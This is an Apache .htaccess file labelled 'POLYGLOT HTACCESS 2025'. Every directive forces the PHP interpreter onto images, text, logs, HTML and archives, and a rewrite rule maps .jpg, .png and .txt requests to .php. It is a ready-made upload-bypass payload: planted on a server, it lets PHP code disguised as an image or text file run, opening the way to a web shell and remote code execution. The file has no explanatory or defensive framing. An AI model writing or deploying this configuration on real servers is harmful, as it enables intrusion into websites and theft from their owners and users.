# POLYGLOT HTACCESS 2025
AddType application/x-httpd-php .php .php5 .php7 .php8 .phtml .phar .inc
AddType application/x-httpd-php .html .htm .xhtml .xml .txt .log
AddType application/x-httpd-php .jpg .png .gif .jpeg .bmp
AddType application/x-httpd-php .zip .tar .gz .rar
AddHandler application/x-httpd-php .php .php5 .php7 .php8 .phtml
AddHandler php-script .php .phtml .phar .html .htm
AddHandler application/x-httpd-php-source .phps
Options +ExecCGI +Includes +IncludesNOEXEC
SetHandler application/x-httpd-php
<FilesMatch "\.(php|php[0-9]|phtml|phar|inc|html|htm|xml|txt|jpg|png|gif)$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
</FilesMatch>
<FilesMatch "^.*\.(jpg|png|gif|jpeg|bmp)$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
</FilesMatch>
RewriteEngine On
RewriteRule ^(.*)\.(jpg|png|gif|txt|html)$ $1.php [L]
# End polyglot